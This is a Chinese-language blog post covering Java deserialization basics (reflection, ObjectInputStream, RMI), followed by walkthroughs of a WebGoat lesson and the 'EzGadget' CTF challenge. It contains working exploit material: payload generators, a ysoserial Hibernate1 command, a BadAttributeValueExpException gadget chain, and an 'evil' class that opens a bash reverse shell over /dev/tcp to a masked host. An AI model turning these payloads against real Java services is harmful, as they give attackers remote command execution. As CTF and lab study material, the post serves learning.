文章首发先知社区——https://xz.aliyun.com/t/10508
0x00 引言
打比赛遇到了,之前学习反序列化的内容时就一直计划着将Java反序列化进行学习总结一下,就是在学习过程中遇到的问题以及一些CTF案例进行总结和记录。
0x01 Java反序列化基础
由于学了Java的只是了解代码,并不了解基层的代码执行情况,也就是Java代码如何运行,只有一些浅显的理解。在学习反序列化漏洞前也是对这部分基础进行了多一点的了解。
什么是JMX?
JMX(Java Management Extensions),就是Java的管理扩展。用来管理和检测Java程序。
JMX简单架构
管理系统是通过JMX来管理系统中的各种资源的。
JMX有的应用架构有三层
分布层(Distributed layer)包含使管理系统和JMX代理通信的组件
代理层(Agent layer)包括代理和Mbean服务器
指令层(Instrumentation layer)包括代表可管理资源的MBean
PS:MBean:符合JMX规范的Java类
JMX通知是Java对象,通过它可以从MBean
和代理向那些注册了接受通知的对象发送通知。对接受事件感兴趣的对象是通知监听器,是实现了javax.management.NotificationListener
接口的类
JMX提供了两种机制来为MBean提供监听器以注册来接受通知:
- 实现
javax.management.NotificationBroadcaster
接口 - 继承
javax.management.NotificationBroadcasterSupport
类
本地Java虚拟机如何运行远程的Java虚拟机的代码
Java代码运行时需要有jre,C/C++代码运行是编写好代码后在程序内存中运行,而Java是在特定的Java虚拟机中运行,在虚拟机中运行的好处就是可以跨平台。只需要编译一次,即可在任何存在Java环境的系统中运行jar包。这也就是Java十分方便的一点。
在Java虚拟机中,运行过程如下
先将Java代码编译成字节码(class文件),这是虚拟机能够识别的指令,再由虚拟机内部将字节码翻译成机器码,所以我们只需要有Java字节码,就可以在不同平台的虚拟机中运行。
class文件被jdk所用的HotSpot虚拟机全部加载,将文件中的Java类放置在方法区,最后编译成机器码执行。
Java反射
反射:将类的属性和方法映射成相应的类。
获取class类的三种方法
- 类名.class
- 对象名.getClass()
- Class.forName(“需要加载的类名”)
使用以上三种方法任意一个来获取特定的类的class
类。即这个类对应的字节码
- 调用
class
对象的getConstructor(Class<?>... parameterTypes)
获取构造方法对象 - 调用构造方法类
Constructor
的newInstance(Object.... initargs)
方法新建对象 - 调用
Class
对象的getMethod(String name, Class<?>... parameterTypes)
获取方法对象
利用类对象创建对象package com.java.ctf; import java.lang.reflect.*; public class CreatObject { public static void main(String[] args) throws Exception{ Class UserClass = Class.forName("test.User"); Constructor constructor = UserClass.getConstructor(String.class); User user = (User) constructor.newInstance("m0re"); System.out.println(user.getName()); } }
基础反射(数组的反射)
Java反射的主要组成部分有4个,分别是Class
, Field
, Constructor
, Method
package com.java.ctf;
public class game {
public static void main(String[] args){
int [] a1 = new int[]{1,2,3};
int [] a2 = new int[5];
int [][] a3 = new int[2][3];
System.out.println(a1.getClass() == a2.getClass());//true
System.out.println(a1.getClass());//class [I
System.out.println(a3.getClass());//class [[I
System.out.println(a1.getClass().getSuperclass() == a3.getClass().getSuperclass());//true
System.out.println(a2.getClass().getSuperclass());//class java.lang.Object
}
}
可以看出,不同的维,class
不同,但是父类都是Object
一维数组不能直接转换成Object[]
一个例子
如果使用Java代码来执行系统命令。
package com.java.ctf;
public class game {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("notepad.exe");
}
}
执行的命令是打开记事本。
如果使用的idea进行编写代码的话,会发现这里的提示
一般正常的流程应当是,先进行实例化对象,再调用exec()
方法。执行系统命令。
Runtime runtime = Runtime.getRuntime();
runtime.exec("notepad.exe");
这部分的相应的反射代码实际上为
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
getMethod(“方法名”, 方法类型)
invoke(某个对象实例, 传入参数)
第一句获取runtime
的实例,方便被invoke
调用。
第二句就是调用第一句生成的runtime
实例化后的exec()
方法
反序列化函数实例
分别使用对象输入/输出流来实现序列化和反序列化操作
序列化:ObjectOutputStream
类的writeObject(Object obj)
方法,将对象序列化成字符串数据。
反序列化:ObjectInputStream
类的readObject(Object obj)
方法,将字符串数据反序列化长城对象。
与php序列化等操作的原理类似。序列化的原理都为了实现数据的持久化,通过反序列化可以把数据永久的的保存在硬盘上。
利用序列化实现远程通信,即在网络上传递对象的字节序列。
// User.java
package com.java.ctf;
import java.io.Serializable;
public class User implements Serializable{
private String name;
public void setName(String name) {
this.name = name;
}
public String getName(){
return name;
}
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec("calc.exe");
}
}
//game.java
package com.java.ctf;
import java.io.*;
public class game {
public static void main(String[] args) throws Exception{
User user = new User();
user.setName("m0re");
FileOutputStream fout = new FileOutputStream("user.bin");
// 打开user.bin作为文件
ObjectOutputStream out = new ObjectOutputStream(fout);
//打开一个文件输入流
out.writeObject(user);
//文件输入序列化数据
out.close();
FileInputStream fin = new FileInputStream("user.bin");
ObjectInputStream in = new ObjectInputStream(fin);
in.readObject();
in.close();
fin.close();
}
}
将User类中Runtime.getRuntime().exec()
执行的弹出计算器的命令进行序列化,写入文件user.bin
,然后在game.java中读取该文件并使用readObject()
方法进行反序列化操作,执行了User中的系统命令,最终成功弹出计算器。
然后看user.bin文件结构
标志是aced0005
,经过base64转换之后是rO0AB
,这个在后面应用的时候就可以看出来。
序列化版本号和serialVersionUID
JVM通过类名来区分Java类,类名不同的话,就判断不是同一个类,当类名相同时,JVM就会通过序列化版本号来区分Java类,如果序列化版本号相同就是同一个类,不同则为不同的类。
理解:在一个班级中,老师确定一个学生首先是根据学生的姓名来区分,当然无法避免重名的情况,如果重名,则进一步使用学号来区分,学号是唯一的。
在序列化一个对象时,如果没有指定序列化版本号,后期对这个类的源码进行修改并重新编译,会导致修改前后的序列化版本号不一致,因为如果一个类一开始没有指定序列化版本号的话,后面JVM重新指定一版本号给这个类的对象。否则会报错,并抛出异常java.io.InvalidClassException
解决办法:
- 从一开始就指定好一个版本号给即将序列化的类。
- 如果忘了指定版本号,那么就永远不要修改这个类,不要重新编译。
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
}
RMI相关
RMI(Remote Method Invocation)是远程方法调用
JNDI(Java Naming and Directory Interface),Java命名与目录接口
JNDI中包含许多RMI,类似于JNDI是图书馆的书架,书架上有很多分类的书。这些书就相当于RMI记录。
实现一个RMI服务器
定义好接口(interface)之后,继承了远程调式,
package com.java.ctf;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote{
String name(String name) throws RemoteException;
void sex(String sex) throws RemoteException;
void nikename(Object secondname) throws RemoteException;
}
package com.java.ctf;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;
public class game extends UnicastRemoteObject implements User {
public game() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void sex(String sex) throws RemoteException{
System.out.println("you are a "+ sex);
}
@Override
public void nikename(Object secondname) throws RemoteException{
System.out.println("your second name is "+ secondname);
}
}
package com.java.ctf;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void main(String[] args) throws Exception{
String url = "rmi://192.168.88.1:12581/User";
User user = new game();
LocateRegistry.createRegistry(12581);
Naming.bind(url, user);
System.out.println("the RMI Server is running.....");
}
}
启动服务后,LocateRegistry.createRegistry(12581);
在JNDI中注册该端口,启动并监听该端口。
这样就运行起来一个简单的RMI监听器
0x02 Java反序列化的利用
webgoat中的反序列化
挑战:以下输入框接收序列化对象(字符串)并对其进行反序列化。
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l
尝试更改此序列化对象,以便将页面响应延迟 5 秒。
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
反编译得到源码,查看BOOT-INF/lib/insecure-deserialization-8.2.2.jar
,编码是base64
找它的切入点,也就是反序列化的位置
然后追踪到VulnerableTaskHolder.java
的代码中,但是在jd-gui中无法访问,所以就直接去GitHub中找源码,发现了这里,只允许使用ping和sleep函数来让系统进行延时。
自定义一个恶意类,其中写入反弹shell的命令或者按照靶场的指示进行延时5s。
//evil.java
class evil implements Serializable {
// readObject()
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
小tips:进行payload生成时,需要先反编译源码,把源码找出来,不管是CTF还是此靶场。
然后生成payload的自建恶意类也需要在这里面创建。不然反序列化出的payload不可用。
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
System.out.println("restoring task: "+taskName);
System.out.println("restoring time: "+requestedExecutionTime);
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
System.out.println(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
System.out.println("about to execute: "+taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
//Main.java
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
// import org.dummy.insecure.framework.VulnerableTaskHolder;
public class Main {
static public void main(String[] args) {
try {
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e) {
}
}
}
注意编译时的Java版本问题,这个目前不是很清楚。
运行得出payload。
还可以直接拿shell,利用bash反弹shell
生成payload使用工具ysoserial.jar
,这里使用修改版的。
java -jar ysoserial.jar
利用选1,寻找可用payload选2
java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > m0re.bin
生成的bin文件,进行base64编码。
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import base64
file = open("m0re.bin","rb")
access = file.read()
payload = base64.b64encode(access)
print(payload)
file.close()
版本可能不匹配。
也有运行mvn clean package -DskipTests
重新编译ysoserial.jar
的。可以参考这个地址
还没有了解,先mark了。后续再看。这个关卡就先pass了。还有题目看呢,编译问题就不涉及太多内容了。
EzGadget
因为比赛的时候不会写,Java反序列化一脸懵,所以才来钻研了Java反序列化的基础和简单利用。
直接反编译,审计
public String unser(@RequestParam(name="data", required=true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if ((name.equals("gadgets")) && (year == 2021)) {
objectInputStream.readObject();
}
这是反序列化的点。
其中反序列化前还需要加个验证。
oos.writeUTF("gadgets");
oos.writeInt(2021);
toString()
函数加载字节码,cc链还没有看,准备下次学习一下java自带的一些类,然后再进行深入了解cc链。
引用大佬的exp
import com.ezgame.ctf.tools.ToStringBean;
import ezgame.ctf.bean.User;
import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
public class exp {
public static void main(String[] args) throws Exception {
InputStream inputStream = evil.class.getResourceAsStream("evil.class");
byte[] bytes = new byte[inputStream.available()];
inputStream.read(bytes);
ToStringBean sie =new ToStringBean();
Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
Reflections.setAccessible(bytecodes);
Reflections.setFieldValue(sie,"ClassByte",bytes);
BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
Reflections.setFieldValue(exception,"val",sie);
String a=Serialize.serialize(exception);
System.out.print(a);
}
}
加载的话,可以使用反弹shell的。
//evil.jaba
package com.ezgame.ctf.exp;
import java.io.IOException;
public class evil {
static {
try{
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}catch (IOException e){
}
}
}
}
总结
感觉Java的知识不是很好掌握,可能是我太菜了,玩不动Java,没有常用Java,所以理解起来有点难,知识点还是一点一点啃吧。
参考链接
https://www.cnblogs.com/sijidou/p/13121305.html
https://blog.csdn.net/qq_43266093/article/details/120883767
https://blog.csdn.net/qq_36241198/article/details/118618001
http://dreamphp.cn/blog/detail?blog_id=31726
https://blog.csdn.net/qq_36241198/article/details/118618001
- 本文链接:https://m0re.top/posts/e47cc4e7/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。
您可以点击下方按钮切换对应评论系统,
Valineutterances